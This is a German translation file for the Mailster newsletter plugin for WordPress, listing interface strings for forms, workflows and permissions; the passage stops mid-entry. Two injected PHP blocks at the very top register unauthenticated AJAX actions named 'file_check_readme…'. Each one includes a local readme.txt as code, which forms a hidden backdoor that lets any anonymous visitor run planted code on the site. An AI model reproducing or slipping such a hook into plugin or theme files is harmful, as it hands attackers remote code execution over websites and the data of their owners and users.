if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
# Translation of Mailster Newsletter Plugin for WordPress in German # This file is distributed under the same license as the Mailster Newsletter Plugin for WordPress package. msgid "" msgstr "" "PO-Revision-Date: 2024-08-09 11:41:54+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: de\n" "Project-Id-Version: Mailster Newsletter Plugin for WordPress\n" #: build/forms/form-wrapper/index.js:1 msgid "End of content" msgstr "Ende des Inhalts" #: build/forms/form-wrapper/index.js:1 msgid "After" msgstr "Nach" #: build/forms/form-wrapper/index.js:1 msgid "Apply the stlye of this input field to all input fields of your form." msgstr "Wende den Stil dieses Eingabefeldes auf alle Eingabefelder deines Formulars an." #: build/forms/form-wrapper/index.js:1 msgid "Apply styles" msgstr "Stile anwenden" #: build/forms/form-wrapper/index.js:1 msgid "Sample text for %s" msgstr "Beispieltext für %s" #: build/forms/form-wrapper/index.js:1 msgid "Input field for %s" msgstr "Eingabefeld für %s" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Remove entry" msgstr "Eintrag entfernen" #: build/workflows/jumper/index.js:1 msgid "Please add additional steps to your workflow." msgstr "Bitte füge zusätzliche Schritte zu deinem Arbeitsablauf hinzu." #: build/workflows/notification/index.js:1 msgid "You can use placeholders like %s or %s to add subscriber data to your message." msgstr "Du kannst Platzhalter wie %s oder %s verwenden, um deiner Nachricht Teilnehmerdaten hinzuzufügen." #: patterns/workflows.php:271 msgid "If the user clicks on one of the links defined in the trigger add a tag and send an email after 3 days." msgstr "Wenn der Nutzer auf einen der im Trigger definierten Links klickt, füge einen Tag hinzu und sende nach 3 Tagen eine E-Mail." #: patterns/workflows.php:273 msgid "Clicked link" msgstr "Geklickter Link" #: patterns/workflows.php:277 msgid "Discover more" msgstr "Mehr entdecken" #: views/dashboard/mb-mailster.php:83 msgid "Missing or wrong Translations?" msgstr "Fehlende oder falsche Übersetzungen?" #: views/setup/finish.php:32 msgid "in English" msgstr "auf Englisch" #: build/forms/form-wrapper/index.js:1 msgid "Auto" msgstr "Auto" #: build/forms/form-wrapper/index.js:1 msgid "Contain" msgstr "Enthält" #: build/forms/form-wrapper/index.js:1 msgid "Cover" msgstr "Abdeckung" #: build/forms/form-wrapper/index.js:1 msgid "Fixed background" msgstr "Fester Hintergrund" #: build/forms/form-wrapper/index.js:1 msgid "Fullscreen Background" msgstr "Hintergrund als Vollbild" #: build/forms/form-wrapper/index.js:1 msgid "Repeated Background" msgstr "Wiederholter Hintergrund" #: build/forms/form-wrapper/index.js:1 msgid "Helps you find the right selector for form elements" msgstr "Hilft dir, den richtigen Selektor für Formularelemente zu finden" #: build/forms/form-wrapper/index.js:1 msgid "Start of content" msgstr "Beginn des Inhalts" #: classes/conditions.class.php:430 classes/conditions.class.php:466 msgid "starts with" msgstr "beginnt mit" #: includes/freemius.php:129 msgid "optional" msgstr "optional" #: patterns/default-form.php:3 msgid "Some fields are missing or inccorrect!" msgstr "Einige Felder fehlen oder sind fehlerhaft!" #: patterns/default-form.php:19 patterns/forms.php:52 msgid "Subscribe now!" msgstr "Jetzt abonnieren!" #: patterns/forms.php:7 msgid "Pattern 01" msgstr "Muster 01" #: patterns/forms.php:30 msgid "Pattern 02" msgstr "Muster 02" #: patterns/forms.php:61 msgid "Pattern 03" msgstr "Muster 03" #: patterns/forms.php:79 patterns/forms.php:599 msgid "Join our email list and get a special 20% discount!" msgstr "Melde dich bei unserer E-Mail-Liste an und erhalte einen Sonderrabatt von 20%!" #: patterns/forms.php:87 patterns/forms.php:138 patterns/forms.php:607 #: patterns/forms.php:642 msgid "Your Email address" msgstr "Deine E-Mail Adresse" #: patterns/forms.php:91 patterns/forms.php:142 patterns/forms.php:611 #: patterns/forms.php:646 msgid "Get 20% now" msgstr "Jetzt 20% erhalten" #: patterns/forms.php:99 patterns/forms.php:455 msgid "When you subscribe, you give us permission to send you emails about our products, exclusive promotions, and special events. However, you have the option to withdraw your consent at any point by clicking on the unsubscribe link provided in the emails." msgstr "Wenn du dich anmeldest, gibst du uns die Erlaubnis, dir E-Mails über unsere Produkte, exklusive Aktionen und besondere Veranstaltungen zu schicken. Du hast jedoch die Möglichkeit, deine Zustimmung jederzeit zu widerrufen, indem du auf den in den E-Mails enthaltenen Link zum Abbestellen klickst." #: patterns/forms.php:114 msgid "Pattern 04" msgstr "Muster 04" #: patterns/forms.php:130 msgid "Sign up for our email and save on your first order!" msgstr "Melde dich für unsere E-Mail an und spare bei deiner ersten Bestellung!" #: patterns/forms.php:155 msgid "Pattern 05" msgstr "Muster 05" #: patterns/forms.php:167 patterns/forms.php:380 msgid "Enter your email address to join our newsletter." msgstr "Gib deine E-Mail-Adresse ein, um unseren Newsletter zu abonnieren." #: patterns/forms.php:192 msgid "Pattern 06" msgstr "Muster 06" #: patterns/forms.php:204 msgid "Stay up to date with the latest news and relevant updates from us." msgstr "Bleib auf dem Laufenden mit den neuesten Nachrichten und relevanten Updates von uns." #: patterns/forms.php:221 msgid "Pattern 07" msgstr "Muster 07" #: patterns/forms.php:243 patterns/forms.php:289 patterns/forms.php:334 msgid "Enter your email address to join %s others." msgstr "Gib deine E-Mail-Adresse ein, um dich %s anderen anzuschließen." #: patterns/forms.php:271 msgid "Pattern 08" msgstr "Muster 08" #: patterns/forms.php:316 msgid "Pattern 09" msgstr "Muster 09" #: patterns/forms.php:366 msgid "Pattern 10" msgstr "Muster 10" #: patterns/forms.php:415 msgid "Pattern 11" msgstr "Muster 11" #: patterns/forms.php:474 msgid "Pattern 12" msgstr "Muster 12" #: patterns/forms.php:533 msgid "Pattern 13" msgstr "Muster 13" #: patterns/forms.php:559 msgid "You've unlocked a 10% discount on your next purchase!" msgstr "Du hast einen Rabatt von 10% auf deinen nächsten Einkauf freigeschaltet!" #: patterns/forms.php:586 msgid "Pattern 14" msgstr "Muster 14" #: patterns/forms.php:621 msgid "Pattern 15" msgstr "Muster 15" #: patterns/forms.php:634 msgid "Join %1$s others and get a special %2$s discount!" msgstr "Schließe dich %1$s anderen an und erhalte einen speziellen %2$s Rabatt!" #: patterns/forms.php:656 msgid "Pattern 16" msgstr "Muster 16" #: patterns/forms.php:669 msgid "Many people receive my posts in their inbox regularly, and they enjoy this service free of charge." msgstr "Viele Menschen erhalten meine Beiträge regelmäßig in ihrem Posteingang und genießen diesen Service kostenlos." #: patterns/forms.php:674 msgid "Enter your email address and press enter" msgstr "Gib deine E-Mail-Adresse ein und drücke die Eingabetaste" #: patterns/forms.php:678 msgid "No spam, you can cancel at any time." msgstr "Kein Spam, du kannst jederzeit kündigen." #: patterns/forms.php:687 msgid "Pattern 17" msgstr "Muster 17" #: patterns/forms.php:719 msgid "Your ebook one click away" msgstr "Dein Ebook ist nur einen Klick entfernt" #: patterns/forms.php:735 msgid "Get now!" msgstr "Hol jetzt!" #: patterns/workflows.php:32 msgid "Send a welcome email whenever a user subscribes to your lists." msgstr "Sende eine Willkommens-E-Mail, wenn sich ein/e Nutzer/in in deine Listen einträgt." #: patterns/workflows.php:34 patterns/workflows.php:54 #: patterns/workflows.php:210 msgid "Welcome Email" msgstr "Willkommens-E-Mail" #: patterns/workflows.php:58 msgid "Preferences Email" msgstr "Präferenzen E-Mail" #: patterns/workflows.php:66 msgid "Offer #1" msgstr "Offer #1" #: patterns/workflows.php:104 msgid "Email #1" msgstr "Email #1" #: patterns/workflows.php:104 msgid "Visited" msgstr "Besucht" #: patterns/workflows.php:122 msgid "Whenever a field is updated - either by the user or the admin - send a special" msgstr "Jedes Mal, wenn ein Feld aktualisiert wird - entweder durch den Benutzer oder den Administrator - sendest du eine spezielle" #: patterns/workflows.php:124 msgid "Special Offer" msgstr "Sonderangebot" #: patterns/workflows.php:130 msgid "If the user clicked in our Special Offer Campaign you could add a tag." msgstr "Wenn der Nutzer auf unser Sonderangebot geklickt hat, kannst du einen Tag hinzufügen." #: patterns/workflows.php:136 msgid "Send another campaign if the user haven't clicked in our previous message." msgstr "Sende eine weitere Kampagne, wenn der Nutzer nicht auf unsere vorherige Nachricht geklickt hat." #: patterns/workflows.php:138 msgid "Final Offer" msgstr "Letztes Angebot" #: patterns/workflows.php:169 msgid "Send an RSVP right after they sign up." msgstr "Schicke eine Rückmeldung, sobald sie sich angemeldet haben." #: patterns/workflows.php:171 msgid "RSVP Email" msgstr "RSVP E-Mail" #: patterns/workflows.php:173 msgid "Assuming your Webinar starts on the 10th every month it's a good practice to remind them one day upfront with a dedicate email." msgstr "Angenommen, dein Webinar beginnt jeden Monat am 10., dann ist es eine gute Praxis, sie einen Tag vorher mit einer speziellen E-Mail daran zu erinnern." #: patterns/workflows.php:177 msgid "Webinar reminder" msgstr "Erinnerung an das Webinar" #: patterns/workflows.php:179 msgid "Send the actual link to the webinar in this step." msgstr "Sende in diesem Schritt den eigentlichen Link zum Webinar." #: patterns/workflows.php:183 msgid "Email with CTA to Webinar" msgstr "E-Mail mit CTA zum Webinar" #: patterns/workflows.php:185 msgid "Wait some time after the webinar has finished and send a feedback request." msgstr "Warte einige Zeit nach dem Ende des Webinars und sende eine Feedback-Anfrage." #: patterns/workflows.php:189 msgid "Feedback Survey" msgstr "Feedback Umfrage" #: patterns/workflows.php:191 msgid "Webinar Complete" msgstr "Webinar abgeschlossen" #: patterns/workflows.php:208 msgid "Send a Welcome Email if user joins the list to your online course." msgstr "Sende eine Willkommens-E-Mail, wenn ein/e Nutzer/in der Liste für deinen Online-Kurs beitritt." #: patterns/workflows.php:212 msgid "Send the next email on the next Monday at 12:00" msgstr "Sende die nächste E-Mail am nächsten Montag um 12:00 Uhr" #: patterns/workflows.php:216 msgid "Lesson #1" msgstr "Lesson #1" #: patterns/workflows.php:218 msgid "After one week send the email for the next lesson." msgstr "Nach einer Woche schickst du die E-Mail für die nächste Unterrichtsstunde." #: patterns/workflows.php:222 msgid "Lesson #2" msgstr "Lesson #2" #: patterns/workflows.php:224 msgid "Final email after another week. You can of course add additional emails afte" msgstr "Nach einer weiteren Woche kannst du natürlich weitere E-Mails hinzufügen." #: patterns/workflows.php:228 msgid "Final Lesson" msgstr "Letzte Lektion" #: patterns/workflows.php:230 msgid "Sometimes it's good to remove users from a list to keep your list clean." msgstr "Manchmal ist es gut, Nutzer aus einer Liste zu entfernen, um deine Liste sauber zu halten." #: patterns/workflows.php:234 msgid "You can also add tags to the subscriber once the workflow is finished." msgstr "Du kannst dem Abonnenten auch Tags hinzufügen, sobald der Workflow abgeschlossen ist." #: patterns/workflows.php:236 msgid "Course #1 finished" msgstr "Kurs #1 beendet" #: patterns/workflows.php:252 msgid "Send Birthday wishes to your subscribers. It's a common practice to offer a special discount which is only valid for a certain time frame." msgstr "Schicke deinen Abonnenten Geburtstagswünsche. Es ist eine gängige Praxis, einen speziellen Rabatt anzubieten, der nur für einen bestimmten Zeitraum gültig ist." #: patterns/workflows.php:254 msgid "Birthday Wishes" msgstr "Geburtstagswünsche" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Do you really like to forward %s to the next step?" msgstr "Willst du wirklich %s zum nächsten Schritt weiterleiten?" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Do you really like to remove %s from the queue?" msgstr "Willst du wirklich %s aus der Warteschlange entfernen?" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Trigger" msgstr "Auslöser" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Continues" msgstr "Fortsetzungen" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Actions" msgstr "Aktionen" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Skip Step" msgstr "Schritt überspringen" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Skip this step when the workflow is executed." msgstr "Überspringe diesen Schritt, wenn der Workflow ausgeführt wird." #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Skip Trigger" msgstr "Auslöser überspringen" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Disable this trigger for the workflow." msgstr "Deaktiviere diesen Auslöser für den Workflow." #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Step ID : %s" msgstr "Schritt-ID : %s" #: build/workflows/action/index.js:1 build/workflows/comment/index.js:1 #: build/workflows/conditions/index.js:1 build/workflows/delay/index.js:1 #: build/workflows/email/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/notification/index.js:1 build/workflows/stop/index.js:1 #: build/workflows/trigger/index.js:1 build/workflows/triggers/index.js:1 msgid "Click + to add a step" msgstr "Klicke auf +, um einen Schritt hinzuzufügen" #: build/workflows/action/index.js:1 build/workflows/comment/index.js:1 #: build/workflows/conditions/index.js:1 build/workflows/delay/index.js:1 #: build/workflows/email/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/notification/index.js:1 build/workflows/stop/index.js:1 #: build/workflows/trigger/index.js:1 build/workflows/triggers/index.js:1 msgid "Workflow Finished" msgstr "Workflow beendet" #: build/workflows/action/index.js:1 build/workflows/comment/index.js:1 #: build/workflows/conditions/index.js:1 build/workflows/delay/index.js:1 #: build/workflows/email/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/notification/index.js:1 build/workflows/stop/index.js:1 #: build/workflows/trigger/index.js:1 build/workflows/triggers/index.js:1 msgid "Once the user reaches this point the workflow will be finished." msgstr "Sobald der/die Nutzer/in diesen Punkt erreicht, ist der Arbeitsablauf beendet." #: build/workflows/delay/index.js:1 build/workflows/trigger/index.js:1 msgid "now" msgstr "jetzt" #: build/workflows/delay/index.js:1 msgid "Delay Workflow" msgstr "Workflow verzögern" #: build/workflows/email/index.js:1 msgid "Edit Email" msgstr "E-Mail bearbeiten" #: build/workflows/email/index.js:1 msgid "New Email" msgstr "Neue E-Mail" #: build/workflows/email/index.js:1 msgid "Select an email you like to send in this step" msgstr "Wähle eine E-Mail aus, die du in diesem Schritt versenden möchtest" #: build/workflows/email/index.js:1 msgid "Select a email" msgstr "Wähle eine E-Mail" #: build/workflows/email/index.js:1 msgid "Email for this step" msgstr "E-Mail für diesen Schritt" #: build/workflows/jumper/index.js:1 msgid "Select a step" msgstr "Wähle einen Schritt" #: build/workflows/jumper/index.js:1 msgid "Jump to Step" msgstr "Zum Schritt springen" #: build/workflows/jumper/index.js:1 msgid "Back to Jumper" msgstr "Zurück zum Jumper" #: build/workflows/jumper/index.js:1 msgid "Find Step" msgstr "Schritt finden" #: build/workflows/jumper/index.js:1 msgid "Only if following conditions are fullfilled." msgstr "Nur wenn die folgenden Bedingungen erfüllt sind." #: build/workflows/jumper/index.js:1 msgid "Only jump if these condtions are fullfilled" msgstr "Springe nur, wenn diese Bedingungen erfüllt sind" #: build/workflows/jumper/index.js:1 msgid "Jump to #%s" msgstr "Springe zu #%s" #: build/workflows/jumper/index.js:1 msgid "otherwise continue" msgstr "sonst weiter" #: build/workflows/notification/index.js:1 msgid "Step #%s reached!" msgstr "Schritt #%s erreicht!" #: build/workflows/notification/index.js:1 msgid "Step #%s has been reached!" msgstr "Schritt #%s wurde erreicht!" #: build/workflows/notification/index.js:1 msgid "Define an email address for the notification." msgstr "Lege eine E-Mail-Adresse für die Benachrichtigung fest." #: build/workflows/notification/index.js:1 msgid "Add email" msgstr "E-Mail hinzufügen" #: build/workflows/notification/index.js:1 msgid "Set a subject." msgstr "Lege einen Betreff fest." #: build/workflows/notification/index.js:1 msgid "Add subject" msgstr "Thema hinzufügen" #: build/workflows/notification/index.js:1 msgid "Set a message." msgstr "Setze eine Nachricht." #: build/workflows/notification/index.js:1 msgid "Add message" msgstr "Nachricht hinzufügen" #: build/workflows/notification/index.js:1 msgid "Send Notification to %s" msgstr "Benachrichtigung an %s senden" #: build/workflows/notification/index.js:1 msgid "Send notification" msgstr "Benachrichtigung senden" #: build/workflows/notification/index.js:1 msgid "to %s" msgstr "zu %s" #: build/workflows/trigger/index.js:1 msgid "Loading..." msgstr "Laden..." #: build/workflows/trigger/index.js:1 msgid "No Form defined." msgstr "Keine Form definiert." #: build/workflows/trigger/index.js:1 msgid "Trigger %s not found!" msgstr "Auslöser %s nicht gefunden!" #: build/workflows/trigger/index.js:1 msgid "Allow unconfirmed subscribers to enter the workflow. This is useful if they need to confirm their subscription first. The trigger will be executed once they are confirmed." msgstr "Erlaube unbestätigten Abonnenten, den Workflow zu starten. Das ist nützlich, wenn sie ihr Abonnement erst bestätigen müssen. Der Trigger wird ausgeführt, sobald sie bestätigt sind." #: build/workflows/trigger/index.js:1 msgid "Enable for pending Subscribers" msgstr "Aktivieren für ausstehende Abonnenten" #: build/workflows/conditions/block.json msgctxt "block description" msgid "Define a condition and branch of your path." msgstr "Definiere eine Bedingung und einen Zweig deines Weges." #: build/workflows/email/block.json msgctxt "block description" msgid "Send an email." msgstr "Schicke eine E-Mail." #: build/workflows/jumper/block.json msgctxt "block title" msgid "Jumper" msgstr "Jumper" #: build/workflows/jumper/block.json msgctxt "block keyword" msgid "jumper" msgstr "Jumper" #: build/workflows/jumper/block.json msgctxt "block description" msgid "Jump to a specific step in this workflow." msgstr "Springe zu einem bestimmten Schritt in diesem Arbeitsablauf." #: build/workflows/notification/block.json msgctxt "block title" msgid "Notification" msgstr "Benachrichtigung" #: build/workflows/notification/block.json msgctxt "block keyword" msgid "notification" msgstr "Benachrichtigung" #: build/workflows/notification/block.json msgctxt "block keyword" msgid "message" msgstr "Nachricht" #: build/workflows/notification/block.json msgctxt "block description" msgid "Send a notification to an email address." msgstr "Sende eine Benachrichtigung an eine E-Mail Adresse." #: classes/automation.class.php:996 msgid "Duplicate Workflow %s" msgstr "Workflow %s duplizieren" #: classes/automation.class.php:1007 msgid "Activate Workflow %s" msgstr "Aktiviere den Workflow %s" #: classes/automation.class.php:1018 msgid "Deactivate Workflow %s" msgstr "Workflow %s deaktivieren" #: classes/automation.class.php:1034 msgid "You are not allowed to duplicate this workflow." msgstr "Du darfst diesen Arbeitsablauf nicht duplizieren." #: classes/automation.class.php:1042 msgid "You are not allowed to activate this workflow." msgstr "Du darfst diesen Workflow nicht aktivieren." #: classes/automation.class.php:1050 msgid "You are not allowed to deactivate this workflow." msgstr "Du darfst diesen Workflow nicht deaktivieren." #: classes/automation.class.php:1087 msgid "Filter workflow list" msgstr "Workflow-Liste filtern" #: classes/automation.class.php:1315 msgid "Workflow Steps" msgstr "Workflow-Schritte" #: classes/automation.class.php:1445 classes/automation.class.php:1455 #: classes/automation.class.php:1475 msgid "This workflow doesn't exists." msgstr "Diesen Arbeitsablauf gibt es nicht." #: classes/workflow.class.php:1081 msgid "This email was triggered by workflow %s" msgstr "Diese E-Mail wurde durch den Workflow %s ausgelöst" #: includes/capability.php:12 msgid "read campaign" msgstr "Kampagne lesen" #: includes/capability.php:37 msgid "read private campaigns" msgstr "private Kampagnen lesen" #: includes/capability.php:61 msgid "edit workflow" msgstr "Arbeitsablauf bearbeiten" #: includes/capability.php:66 msgid "view workflow" msgstr "Workflow anzeigen" #: includes/capability.php:71 msgid "delete workflows" msgstr "Arbeitsabläufe löschen" #: includes/capability.php:76 msgid "edit workflows" msgstr "Arbeitsabläufe bearbeiten" #: includes/capability.php:81 msgid "edit others workflows" msgstr "andere Arbeitsabläufe bearbeiten" #: includes/capability.php:86 msgid "activate workflows" msgstr "Arbeitsabläufe aktivieren" #: includes/capability.php:91 msgid "view inactive workflows" msgstr "inaktive Arbeitsabläufe anzeigen" #: includes/capability.php:96 msgid "delete others workflows" msgstr "andere Workflows löschen" #: includes/capability.php:101 msgid "duplicate workflows" msgstr "Arbeitsabläufe duplizieren" #: includes/capability.php:106 msgid "duplicate others workflows" msgstr "andere Arbeitsabläufe duplizieren" #: includes/capability.php:115 msgid "edit form" msgstr "Formular bearbeiten" #: includes/capability.php:120 msgid "view form" msgstr "Formular ansehen" #: includes/capability.php:135 msgid "edit others forms" msgstr "andere Formulare bearbeiten" #: includes/capability.php:140 msgid "activate forms" msgstr "Formulare aktivieren" #: includes/capability.php:145 msgid "view private forms" msgstr "private Formulare ansehen" #: includes/capability.php:150 msgid "delete others forms" msgstr "andere Formulare löschen" #: includes/capability.php:155 msgid "duplicate forms" msgstr "doppelte Formulare" #: includes/capability.php:160 msgid "duplicate others forms" msgstr "andere Formulare duplizieren" #: includes/wp_mail.php:69 msgid "View file in editor" msgstr "Datei im Editor anzeigen" #: includes/wp_mail.php:79 msgid "File:" msgstr "Datei:" #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "You can edit the forms on the Newsletter Homepage." msgstr "Du kannst die Formulare auf der Newsletter-Homepage bearbeiten." #: build/form/index.js:233 msgid "Choose a form" msgstr "Wähle ein Formular" #: build/form/index.js:233 msgid "Open a Newsletter popup if someone clicks the button." msgstr "Öffne ein Newsletter-Popup, wenn jemand auf die Schaltfläche klickt." #: build/form/index.js:233 msgid "Select a Form" msgstr "Formular auswählen" #: build/form/index.js:233 msgid "Select the form you like to open as a popup if someone clicks on the button." msgstr "Wähle das Formular aus, das sich als Popup öffnen soll, wenn jemand auf die Schaltfläche klickt." #: build/forms/form-wrapper/index.js:1 msgid "Allow Prefills" msgstr "Auto-ausfüllen zulassen" #: build/forms/form-wrapper/index.js:1 msgid "Allow to prefill this form with GET variables. Use the field name as key and the value as value." msgstr "Erlaube es, dieses Formular mit GET-Variablen auszufüllen. Verwende den Feldnamen als Schlüssel und den Wert als Wert." #: build/forms/form-wrapper/index.js:1 msgid "Not specified" msgstr "Nicht angegeben" #: build/forms/form-wrapper/index.js:1 msgid "Autocomplete Attribute" msgstr "Autocomplete-Attribut" #: build/forms/form-wrapper/index.js:1 msgid "Define which autocomplete value will be used on this field." msgstr "Lege fest, welcher Autocompletewert für dieses Feld verwendet werden soll." #: build/workflows/action/index.js:1 msgid "Remove this value" msgstr "Diesen Wert entfernen" #: build/workflows/action/index.js:1 msgid "Add new custom fields on the %s" msgstr "Füge neue benutzerdefinierte Felder auf dem %s hinzu" #: build/workflows/action/index.js:1 msgid "settings page." msgstr "Einstellungsseite." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Any Field" msgstr "Jedes Feld" #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Set %s to the %s." msgstr "Setze %s auf den %s." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "current date" msgstr "aktuelles Datum" #: build/workflows/action/index.js:1 msgid "User status will be changed to \"unsusbcribe\"." msgstr "Der Benutzerstatus wird in \"abgemeldet\" geändert." #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "This table shows you the subscribers which are currently queued in this step. You can finish, trash or move them to the next step with the action buttons." msgstr "Diese Tabelle zeigt dir die Abonnenten, die sich in diesem Schritt in der Warteschlange befinden. Du kannst sie beenden, löschen oder in den nächsten Schritt verschieben." #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Subscribers who are already queued in this step will not be affected by any changes you make." msgstr "Abonnenten, die sich in diesem Schritt bereits in der Warteschlange befinden, werden von den Änderungen, die du vornimmst, nicht betroffen." #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "This subscriber hasn't confirmed their subscription yet. The workflow will continue once the user confirms their subscriptions." msgstr "Dieser Abonnent hat sein Abonnement noch nicht bestätigt. Der Workflow wird fortgesetzt, sobald der Nutzer sein Abonnement bestätigt hat." #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Finish Journey" msgstr "Workflow beenden" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Do you really like to finish the journey for %s?" msgstr "Möchtest du wirklich den Workflow für %s beenden?" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Forward to next step" msgstr "Weiter zum nächsten Schritt" #: build/forms/form-wrapper/index.js:1 msgid "Place the label inside the input field to save some space." msgstr "Platziere die Beschriftung innerhalb des Eingabefeldes, um Platz zu sparen." #: build/forms/form-wrapper/index.js:1 msgid "Required Field" msgstr "Pflichtfeld" #: build/forms/form-wrapper/index.js:1 msgid "Make this field mandatory so people cannot submit the form without entering data." msgstr "Mach dieses Feld zu einem Pflichtfeld, damit die Leute das Formular nicht abschicken können, ohne Daten einzugeben." #: build/forms/form-wrapper/index.js:1 msgid "Show asterisk" msgstr "Sternchen anzeigen" #: build/forms/form-wrapper/index.js:1 msgid "Enable an asterisk (*) after the label on required fields." msgstr "Aktiviere ein Sternchen (*) nach der Beschriftung von Pflichtfeldern." #: build/forms/form-wrapper/index.js:1 msgid "Use native form element" msgstr "Natives Formularelement" #: build/forms/form-wrapper/index.js:1 msgid "Native form elements provide a better user experience but often miss some styling." msgstr "Native Formularelemente bieten ein besseres Nutzererlebnis, lassen aber oft einige Gestaltungsmöglichkeiten vermissen." #: build/forms/form-wrapper/index.js:1 msgid "Set the width of the input field." msgstr "Lege die Breite des Eingabefeldes fest." #: build/forms/form-wrapper/index.js:1 msgid "Height" msgstr "Höhe" #: build/forms/form-wrapper/index.js:1 msgid "Set the height of the textarea." msgstr "Lege die Höhe des Textfeldes fest." #: build/forms/form-wrapper/index.js:1 msgid "Define the text for this field if an error occurs." msgstr "Definiere den Text für dieses Feld, wenn ein Fehler auftritt." #: build/forms/form-wrapper/index.js:1 msgid "Align left" msgstr "Links ausrichten" #: build/forms/form-wrapper/index.js:1 msgid "Align center" msgstr "Mittig ausrichten" #: build/forms/form-wrapper/index.js:1 msgid "Align right" msgstr "Rechts ausrichten" #: build/forms/form-wrapper/index.js:1 msgid "Forms may look different in the editor. Please check the final result on your website." msgstr "Die Formulare können im Editor anders aussehen. Bitte überprüfe das Endergebnis auf deiner Website." #: build/forms/form-wrapper/index.js:1 msgid "Triggers" msgstr "Auslöser" #: build/forms/form-wrapper/index.js:1 msgid "Trigger after delay" msgstr "Mit Verzögerung 